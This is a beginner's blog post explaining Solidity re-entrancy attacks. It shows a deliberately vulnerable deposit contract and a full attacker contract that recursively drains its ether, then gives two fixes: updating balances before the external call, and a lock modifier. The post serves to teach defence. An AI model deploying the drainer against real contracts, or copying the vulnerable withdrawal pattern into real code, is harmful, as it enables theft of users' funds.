tobias

Posted on Dec 31, 2021Read on Mirror.xyz

How to understand re-entrancy attacks as a new Solidity dev

I wrote this to help me understand how re-entrancy attacks work and I thought I'd share in case it helps someone else at the start of their smart contract journey.

This article assumes you have basic knowledge of the Solidity programming language and Ethereum blockchain.

In short, a re-entrancy attack uses recursive calls on a vulnerable function that calls to an external contract. Re-entrancy attacks are well known in the world of smart contract development mostly due to the 2016 DAO Hack.

Here, we’ll cover a simple re-entrancy attack and then how to prevent one from happening to you. This is meant as an introduction. There’s a lot more to learn about re-entrancy attacks and smart contract security, and I’d encourage everyone to read the resources at the bottom of the article.

Let’s get started and simulate a re-entrancy attack.

Below are two smart contracts.

The first contract is called Deposit.sol and is vulnerable to a re-entrancy attack.

Here it is:

pragma solidity ^0.8.0;

contract Deposit {

    mapping(address => uint) public userBalances;

    function depositEth() public payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawEth() public {
        uint balance = userBalances[msg.sender];
        require(balance > 0, "Balance can't be 0");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send ETH");

        userBalances[msg.sender] = 0;
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

I’ll cover why this contract is vulnerable a little later on, but for now, notice how a user can deposit ether into this contract and also withdraw ether as long as they have a balance.

Let’s say I deploy Deposit.sol to an ethereum testnet so that anyone can see it and use it.

Let’s also say that different addresses deposit test ether and now the contract has a balance of ether.

An attacker (let’s say you) spots this contract and realizes that if you perform a re-entrancy attack you will be able to steal ether.

To take advantage of this situation, you write up a contract called Attacker.sol. This contract is customized to drain all of the ether from Deposit.sol.

Here's what it could look like:

pragma solidity ^0.8.0;

import "./Deposit.sol";

contract Attacker {

    Deposit public deposit;
    
    address public owner;

    constructor(address _depositAddress) {
        deposit = Deposit(_depositAddress);
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }    

    fallback() external payable {
        if (address(deposit).balance >= 1 ether) {
            deposit.withdrawEth();
        }
    }

    function drain() external payable {
        require(msg.value >= 1 ether, 
          "Not enough ETH to steal");
        deposit.depositEth{value: 1 ether}();
        deposit.withdrawEth();
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }

    function getPrize() external onlyOwner {
        (bool sent, ) = msg.sender.call{
           value:address(this).balance}("");
           require(sent, "Failed to send");
    }
}

So how does this work?

After you deploy Attacker.sol, you call the drain function and send it some ether. This drain function will deposit ether into the Deposit.sol contract and then call the withdrawEth function. Importantly, when the withdrawn ether hits the Attacker.sol contract, the fallback function is triggered, which calls withdrawEth again. In this way, withdrawEth function has been called twice and it hasn’t completed the first call. This creates a loop, where the fallback function continually calls withdrawEth until all ether is drained from Deposit.sol.

To make this more clear, here’s the order of operations:

  • Attacker.drain
  • Deposit.depositEth
  • Deposit.withdrawEth
  • Attacker.fallback
  • Deposit.withdrawEth
  • Attacker.fallback
  • Deposit.withdrawEth
  • Attacker.fallback…and so on…until all ether is gone.

Thankfully, this can be avoided.

Here are two ways to stop re-entrancy attacks before they start.

First, make sure that all function calls to an external contract (such as when funds are being transferred out of the contract) happen at the very bottom of the code. Like so:

    function withdrawEth() public {
        uint balance = userBalances[msg.sender];
        require(balance > 0, "Balance can't be 0");

        userBalances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send ETH");   
    }

This ensures that the withdrawEth function will only be called once. Here, the value of the user’s balance is updated to zero and all value is transferred at the end of the function.

The second option to avoid re-entrancy is to use a modifier like this:

    bool internal locked;

    modifier nonReentrancy() {
        require(!locked, "No reentrancy allowed");

        locked = true;
        _;
        locked = false;
    }

    function withdrawEth() public nonReentrancy {
        uint balance = userBalances[msg.sender];
        require(balance > 0, "Balance can't be 0");

        userBalances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send ETH");   
    }

Here, the function modifier nonReentrancy will be called before the withdrawEth function. This will lock the contract until the function has completed running, then the contract is unlocked and can be accessed again.

That’s it.

I hope you found this a helpful guide to avoiding re-entrancy attacks. If you want to learn more, check out the reference material below.

References